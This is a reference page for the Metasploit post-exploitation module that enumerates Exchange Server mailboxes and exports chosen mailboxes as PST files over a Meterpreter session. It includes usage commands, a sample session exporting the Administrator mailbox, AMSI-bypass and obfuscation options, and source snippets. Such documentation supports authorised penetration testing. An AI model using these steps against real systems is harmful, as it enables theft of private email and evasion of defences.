Windows Gather Exchange Server Mailboxes - Metasploit
This page contains detailed information about how to use the post/windows/gather/exchange metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Gather Exchange Server Mailboxes
Module: post/windows/gather/exchange
Source code: modules/post/windows/gather/exchange.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will gather information from an on-premise Exchange Server running on the target machine. Two actions are supported: LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target. EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword. For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter The executing user has to be assigned to the "Organization Management" role group for the module to successfully run. Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/exchange
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/exchange
msf post(exchange) > show options
... show and set options ...
msf post(exchange) > set SESSION session-id
msf post(exchange) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/exchange")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module will gather information from an on-premise Exchange Server running on the target machine.
Two actions are supported:
LIST
(default action): List basic information about all Exchange servers and mailboxes hosted on the target.
EXPORT
: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
It requires that the effective Meterpreter session user be assigned to the "Organization Management" role group.
Verification Steps
- Start msfconsole
- Get meterpreter session on a Windows target running an Exchange Server
- Do:
use post/windows/gather/exchange
- Do:
set SESSION <session id>
- Do:
run
Options
FILTER
Filter to use when exporting a mailbox.
See Microsoft documentation for valid values.
Unused for LIST action, optional for EXPORT action.
MAILBOX
Mailbox to export. Can be a mailbox's email address or display name.
Unused for LIST action, required for EXPORT action.
DownloadSizeThreshold
The file size of export results after which a prompt will appear to confirm the download, in MB.
Option takes a float number. Default value is 50.0.
SkipLargeDownloads
If set to true
, automatically skip downloading export results that are larger than DownloadSizeThreshold
(don't show prompt).
Set to false
by default.
Extracted data
LIST action
For every server:
- Server name
- Server version
- Server role
- For every mailbox in server:
- Mailbox display name
- Mailbox email addresses
- Mailbox creation date
- Mailbox address list membership
- For every folder in mailbox:
- Folder Path
- Items in folder
- Folder size
- Newest item received date
EXPORT action
.PST file with the chosen mailbox's mail items
Scenarios
Windows Server 2012 R2 with On-Premise Exchange Server 2010
msf6 exploit(multi/handler) > use post/windows/gather/exchange
msf6 post(windows/gather/exchange) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/exchange) > run -a LIST
[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Listing reachable servers and mailboxes:
----------
Server:
- Name: WIN-49S7K9MJUAF
- Version: Version 14.3 (Build 123.4)
- Role: Mailbox, ClientAccess, HubTransport
-----
Mailboxes:
---
- Display Name: Administrator
- Email Addresses: SMTP:[email protected]
- Creation date: 12/02/2020 01:01:43
- Address list membership: \Mailboxes(VLV) \All Mailboxes(VLV) \All Recipients(VLV) \Default Global Address List \All Users
- (All folders are empty)
---
[...]
[*] Post module execution completed
msf6 post(windows/gather/exchange) > set MAILBOX "Administrator"
MAILBOX => Administrator
msf6 post(windows/gather/exchange) > run -a EXPORT
[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Exporting mailbox 'Administrator':
Exporting mailbox...
. Queued
. Queued
. Queued
. InProgress
. Completed
Exporting done
[*] Resulting export file size: 0.26 MB
[+] PST saved in: /home/user/.msf4/loot/20210309120402_default_192.168.1.70_PST_427036.pst
[*] Post module execution completed
msf6 post(windows/gather/exchange) >
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/exchange post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/exchange
msf6 post(windows/gather/exchange) > show info
Name: Windows Gather Exchange Server Mailboxes
Module: post/windows/gather/exchange
Platform: Windows
Arch: x86, x64
Rank: Normal
Provided by:
SophosLabs Offensive Security team
Compatible session types:
Meterpreter
Available actions:
Name Description
---- -----------
EXPORT Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword
LIST List basic information about all Exchange servers and mailboxes hosted on the target
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no [for EXPORT] Filter to use when exporting a mailbox (see description)
MAILBOX no [for EXPORT, required] Mailbox to export
SESSION yes The session to run this module on.
Description:
This module will gather information from an on-premise Exchange
Server running on the target machine. Two actions are supported:
LIST (default action): List basic information about all Exchange
servers and mailboxes hosted on the target. EXPORT: Export and
download a chosen mailbox in the form of a .PST file, with support
for an optional filter keyword. For a list of valid filters, see
https://docs.microsoft.com/ en-us/exchange/filterable-properties-for-the-contentfilter-parameter
The executing user has to be assigned to the "Organization
Management" role group for the module to successfully run. Tested on
Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server
2016 on Windows Server 2016.
References:
https://github.com/sophoslabs/metasploit_gather_exchange
https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/
Module Options
This is a complete list of options available in the windows/gather/exchange post exploitation module:
msf6 post(windows/gather/exchange) > show options
Module options (post/windows/gather/exchange):
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no [for EXPORT] Filter to use when exporting a mailbox (see description)
MAILBOX no [for EXPORT, required] Mailbox to export
SESSION yes The session to run this module on.
Post action:
Name Description
---- -----------
LIST List basic information about all Exchange servers and mailboxes hosted on the target
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/exchange post exploitation module:
msf6 post(windows/gather/exchange) > show advanced
Module advanced options (post/windows/gather/exchange):
Name Current Setting Required Description
---- --------------- -------- -----------
DownloadSizeThreshold 50.0 yes The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)
Powershell::Post::dry_run false yes Return encoded output to caller
Powershell::Post::force_wow64 false yes Force WOW64 execution
Powershell::Post::log_output false yes Write output to log file
Powershell::Post::timeout 15 yes Powershell execution timeout, set < 0 to run async without termination
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SkipLargeDownloads false yes Automatically skip downloading export results that are larger than DownloadSizeThreshold (don't show prompt)
TIMEOUT 600 yes The maximum time (in seconds) to wait for any Powershell scripts to complete
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/exchange module can do:
msf6 post(windows/gather/exchange) > show actions
Post actions:
Name Description
---- -----------
EXPORT Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword
LIST List basic information about all Exchange servers and mailboxes hosted on the target
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/exchange post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/exchange) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Export file not created on target machine. Aborting.
- The resulting export file is larger than current threshold (<DOWNLOADSIZETHRESHOLD> MB)
- You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.
- Not downloading oversized export file.
- Exchange Server is not present on target machine
- PowerShell is not present on target machine
- Option MAILBOX is required for action EXPORT
- Unknown action: <ACTION.NAME>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Export file not created on target machine. Aborting.
Here is a relevant code snippet related to the "Export file not created on target machine. Aborting." error message:
105: execute_exchange_script('Assign-Roles')
106: execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")
107:
108: # After script is done executing, check if the export save path exists on the target
109: if !file_exist?(temp_save_path)
110: print_error('Export file not created on target machine. Aborting.')
111: return
112: end
113:
114: # Get the size of the newly made export file
115: stat = session.fs.file.stat(temp_save_path)
The resulting export file is larger than current threshold (<DOWNLOADSIZETHRESHOLD> MB)
Here is a relevant code snippet related to the "The resulting export file is larger than current threshold (<DOWNLOADSIZETHRESHOLD> MB)" error message:
114: # Get the size of the newly made export file
115: stat = session.fs.file.stat(temp_save_path)
116: mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
117: print_status("Resulting export file size: #{mb_size} MB")
118: if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
119: print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
120: print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
121:
122: if datastore['SkipLargeDownloads'] || !user_confirms_download?
123: print_error('Not downloading oversized export file.')
124: rm_f(temp_save_path)
You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.
Here is a relevant code snippet related to the "You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items." error message:
115: stat = session.fs.file.stat(temp_save_path)
116: mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
117: print_status("Resulting export file size: #{mb_size} MB")
118: if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
119: print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
120: print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
121:
122: if datastore['SkipLargeDownloads'] || !user_confirms_download?
123: print_error('Not downloading oversized export file.')
124: rm_f(temp_save_path)
125: return
Not downloading oversized export file.
Here is a relevant code snippet related to the "Not downloading oversized export file." error message:
118: if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
119: print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
120: print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
121:
122: if datastore['SkipLargeDownloads'] || !user_confirms_download?
123: print_error('Not downloading oversized export file.')
124: rm_f(temp_save_path)
125: return
126: end
127: end
128:
Exchange Server is not present on target machine
Here is a relevant code snippet related to the "Exchange Server is not present on target machine" error message:
141: def run
142: # Check if Exchange Server is installed on the target by checking the registry
143: if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
144: print_good('Exchange Server is present on target machine')
145: else
146: fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
147: end
148:
149: # Check if PowerShell is installed on the target
150: if have_powershell?
151: print_good('PowerShell is present on target machine')
PowerShell is not present on target machine
Here is a relevant code snippet related to the "PowerShell is not present on target machine" error message:
148:
149: # Check if PowerShell is installed on the target
150: if have_powershell?
151: print_good('PowerShell is present on target machine')
152: else
153: fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
154: end
155:
156: mailbox = datastore['MAILBOX']
157: filter = datastore['FILTER']
158:
Option MAILBOX is required for action EXPORT
Here is a relevant code snippet related to the "Option MAILBOX is required for action EXPORT" error message:
160: when 'LIST'
161: print_good('Listing reachable servers and mailboxes: ')
162: list_mailboxes
163: when 'EXPORT'
164: if mailbox.nil? || mailbox.empty?
165: fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
166: else
167: print_good("Exporting mailbox '#{mailbox}': ")
168: export_mailboxes(mailbox, filter)
169: end
170: else
Unknown action: <ACTION.NAME>
Here is a relevant code snippet related to the "Unknown action: <ACTION.NAME>" error message:
164: if mailbox.nil? || mailbox.empty?
165: fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
166: else
167: print_good("Exporting mailbox '#{mailbox}': ")
168: export_mailboxes(mailbox, filter)
169: end
170: else
171: print_error("Unknown action: #{action.name}")
172: end
173: end
174: end
Go back to menu.
Related Pull Requests
References
- CVE: Not available
- https://github.com/sophoslabs/metasploit_gather_exchange
- https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/
See Also
Check also the following modules related to this module:
- post/windows/gather/ad_to_sqlite
- post/windows/gather/arp_scanner
- post/windows/gather/avast_memory_dump
- post/windows/gather/bitcoin_jacker
- post/windows/gather/bitlocker_fvek
- post/windows/gather/bloodhound
- post/windows/gather/cachedump
- post/windows/gather/checkvm
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/enum_ad_bitlocker
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_ad_groups
- post/windows/gather/enum_ad_managedby_groups
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_ad_to_wordlist
- post/windows/gather/enum_ad_user_comments
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_applications
- post/windows/gather/enum_artifacts
- post/windows/gather/file_from_raw_ntfs
- post/windows/gather/get_bookmarks
- post/windows/gather/hashdump
- post/windows/gather/local_admin_search_enum
- post/windows/gather/lsa_secrets
- post/windows/gather/make_csv_orgchart
- post/windows/gather/memory_dump
- post/windows/gather/memory_grep
- post/windows/gather/netlm_downgrade
- post/windows/gather/ntds_grabber
- post/windows/gather/ntds_location
- post/windows/gather/outlook
- post/windows/gather/phish_windows_credentials
- post/windows/gather/psreadline_history
- post/windows/gather/resolve_sid
- post/windows/gather/reverse_lookup
- post/windows/gather/screen_spy
- post/windows/gather/smart_hashdump
- post/windows/gather/tcpnetstat
- post/windows/gather/usb_history
- post/windows/gather/win_privs
- post/windows/gather/wmic_command
- post/windows/gather/word_unc_injector
Authors
- SophosLabs Offensive Security team
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.